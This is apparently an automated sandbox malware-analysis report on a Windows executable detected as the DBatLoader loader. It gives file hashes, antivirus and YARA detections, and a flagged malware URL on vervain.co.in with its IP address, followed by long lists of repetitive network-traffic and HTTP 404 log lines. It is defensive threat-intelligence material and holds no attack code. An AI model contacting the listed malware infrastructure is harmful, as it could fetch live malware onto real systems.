Edit tour

Windows Analysis Report
ncIpox4w8f

Overview

General Information

Sample Name:	ncIpox4w8f (renamed file extension from none to exe)
Analysis ID:	679306
MD5:	03fb0f9df279b56130a63d5330461789
SHA1:	705d9c59fe6cdeec9e28d1d803cb94765d1dc4de
SHA256:	59290e0709f6bc918c12c38604eaabcd79b77f699ca2f1abf3af4fccef444a94
Tags:	exe
Infos:

Detection

DBatLoader

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected DBatLoader

Multi AV Scanner detection for submitted file

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Uses 32bit PE files

Antivirus or Machine Learning detection for unpacked file

Sample file is different than original file name gathered from version info

PE file contains strange resources

Tries to load missing DLLs

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

JA3 SSL client fingerprint seen in connection with other malware

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

ncIpox4w8f.exe (PID: 2916 cmdline: "C:\Users\user\Desktop\ncIpox4w8f.exe" MD5: 03FB0F9DF279B56130A63D5330461789)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
ncIpox4w8f.exe	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.238770915.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000002.528757099.0000000002AC0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.316597179.000000000540C000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.297908164.0000000005536000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.388263630.000000000571D000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.267479672.0000000005250000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.280613950.0000000005258000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.325641220.000000000532C000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.370720405.0000000005803000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.304401425.000000000532F000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.266317297.0000000005450000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.272943807.0000000004942000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.371769839.00000000058FA000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000002.516088512.0000000002290000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.377241970.0000000005825000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.345105866.00000000054B9000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.286610095.0000000005061000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.284258980.0000000004F55000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000003.309310644.0000000005330000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.ncIpox4w8f.exe.400000.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ncIpox4w8f.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: ncIpox4w8f.exe	Virustotal: Detection: 52%			Perma Link
Source: ncIpox4w8f.exe	ReversingLabs: Detection: 55%

Antivirus detection for URL or domain

Source: https://vervain.co.in/3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: vervain.co.in

Virustotal: Detection: 7%

Perma Link

Source: 0.2.ncIpox4w8f.exe.2a34530.0.unpack

Avira: Label: TR/Patched.Ren.Gen

Source: ncIpox4w8f.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown

HTTPS traffic detected: 199.79.62.221:443 -> 192.168.2.4:49744 version: TLS 1.2

Source: Joe Sandbox View

ASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View

IP Address: 199.79.62.221 199.79.62.221

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:22 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:23 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:24 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:25 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:26 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:28 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:29 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:30 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:31 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:33 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:38 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:39 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:41 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:42 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:43 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:45 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:46 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:47 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:49 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:50 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:51 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:53 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:08:59 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:01 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:02 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:03 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:04 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:06 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:08 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:10 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:11 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:12 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:13 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:14 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:16 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:20 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:22 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Aug 2022 13:09:23 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Tue, 15 Mar 2022 23:01:27 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/html
